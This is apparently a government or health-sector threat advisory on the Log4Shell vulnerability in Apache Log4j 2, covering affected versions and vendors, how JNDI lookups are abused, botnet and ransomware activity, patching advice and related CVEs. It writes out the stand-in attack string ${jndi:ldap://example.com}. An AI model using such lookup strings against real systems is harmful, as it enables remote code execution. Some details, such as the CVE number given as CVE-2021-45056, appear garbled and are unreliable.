Log4Shell RCE Vulnerability

Log4Shell is an actively exploited remote code execution vulnerability in the open-source Log4j 2 logging library. Log4j is used in numerous Java applications and is present in many services as well as a wide range of cloud services.

Threat ID:: CC-3989
Threat Severity:: High
Threat Vector:: Exploit
Published:: 10 December 2021 9:41 PM

Report a cyber attack: call 0300 303 5222 or email [email protected]

Summary

Affected platforms

The following platforms are known to be affected:

Versions: 2.0-beta9 to 2.12.1, and 2.14 to 2.16

Apache Log4j 2

Threat details

Log4Shell actively exploited

Log4Shell has been actively targeted since the beginning of December 2021, with widespread scanning and exploitation activity over the past week. This activity has increased rapidly, with hundreds of exploits attempted per second.

Introduction

The Apache Foundation has releases details of a critical remote code execution (RCE) vulnerability, known as Log4Shell, in their Log4j 2 open-source logging library. They state that exploitation of Log4Shell would allow an unauthenticated remote attacker who can control log messages or message parameters to take execute arbitrary code on an affected system.

Proof-of-concept exploits for Log4Shell are freely available on public code repositories, with the most popular exploits being copied hundred's of times.

Note: Version 1 of the Log4j library is no longer supported and is affected by multiple security vulnerabilities. Developers should migrate to the latest version of Log4j 2.

Widespread usage of Log4j

Log4j is tracked as a dependency in at least 1800 unique code libraries and projects, many of which are then integrated into cloud services and enterprise applications.

At the time of publication, the following vendors and services are known to be impacted (please see following list)

Affected vendors list

Please note this list may not be current or exhaustive.

Akamai
Amazon Web Services
Apache Foundation
CarbonBlack
Cisco
Citrix
Cloudflare
Cpanel
Debian
Dell
Docker
DocuSign
ESET
F5 Networks
Fortinet
Google Cloud
HPE
Huawei
IBM
Imperva
Microsoft
Oracle
Palo Alto Networks
ProofPoint
Pulse Secure
RSA
Salesforce
SonicWall
Splunk
Tableau
TP-Link
Trend Micro
Ubuntu
VMware
Zoho

Vulnerability details

Log4Shell is the result of a feature in the Log4j library failing to properly validate incoming data. Log4j uses Message Lookup Substitution (MLS) to define a number of 'lookup' functions that allow Log4j to alter content as it is being logged and is typically used to dynamically edit certain logging tags. MLS is triggered whenever content with the form ${example} appears in strings to be logged

MLS uses several lookup methods including Java Naming and Directory Interface (JNDI), a directory service API that allows Java clients - such as Log4j - to find and execute resources. JNDI is able to pull content directly from outside domains using several network protocols. By triggering a JNDI lookup over Lightweight Directory Access Protocol (LDAP) to a specific domain in the form ${jndi:ldap://example.com}, Log4j will download and execute content hosted on that domain. This content will also be executed with the same privileges as the system Log4j is running on.

JNDI:LDAP lookups can be hidden easily within any content logged by Log4j, including browser user-agents or filenames. JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints.

HSA Response Needed

Given the nature of this vulnerability and the difficulty in assessing whether or not a vulnerable version of log4j is incorporated in a piece of software, a supplementary email containing a link to a Microsoft Form will be sent for completion by organisations.

Each organisation is asked to respond with the relevant information as soon as possible.

Threat updates

Date	Update
29 Dec 2021	Log4j 2.17.1 released The Apache Foundation has released Log4j 2.17.1 in order to address a vulnerability that claims to allow for remote code execution. To exploit this issue an attacker would require access and relevant privileges to modify the logging configuration file. This issue is being tracked as CVE-2021-44832.
19 Dec 2021	Issues with Log4j 2.16 release The Apache Foundation has released Log4j 2.17 in order to address an infinite recursion bug in version 2.16 that could cause denial of service. This issue is being tracked as CVE-2021-45105.
15 Dec 2021	Issues with Log4j 2.15 release The Apache Foundation has released Log4j 2.16 in order to address an issue with version 2.15 where it does not adequately address Log4Shell in certain non-default configurations. This issue is being tracked as CVE-2021-45056
14 Dec 2021	Threat Update - December 14th The Elknot DDoS botnet now appears to be targeting Log4Shell. It uses the same command and control infrastructure as the previously observed Mirai and Muhstik attacks. Khonasri, a new ransomware family, has been seen on Log4Shell vulnerable systems. The simple ransom tool appears to be delivered by a new version of the Orcus trojan. There has been a marked increase in XMRig activity overnight, suggesting attackers are delivering the cryptomining application to vulnerable systems.
13 Dec 2021	Threat Update - December 13th New Mirai and Muhstik botnet variants have been observed exploiting Log4Shell in Windows and Linux based Internet-of-Things devices. Kinsing is exploiting Log4Shell in attacks against web application servers in order to enrol connected Windows systems into their cryptomining botnet Cobalt Strike Beacon loaders have also been seen over the weekend, with most delivering unidentified cryptominers.

Remediation advice

Affected organisations should take the following actions as soon as possible to address Log4Shell:

Ensure all in-house applications or services using Log4j are updated to a minimum of Log4j 2.17.0
Contact your relevant suppliers and ensure all affected third-party applications and services are fully updated, or the suppliers have taken appropriate mitigating steps, to address Log4Shell.
If patching is not possible, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

It may not always be easy for organisations to identify which applications use Apache Log4j software. Please reach out to your suppliers and discuss applying mitigations or installing updates if Log4j is used.

Definitive source of threat updates

CVE Vulnerabilities

Status Published

CVE-2021-44228

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

Status Published

CVE-2021-45056

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do NOT mitigate this specific vulnerability. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Status Published

CVE-2021-45105

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.

Status Published

CVE-2021-44832

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

Last edited: 29 December 2021 9:31 am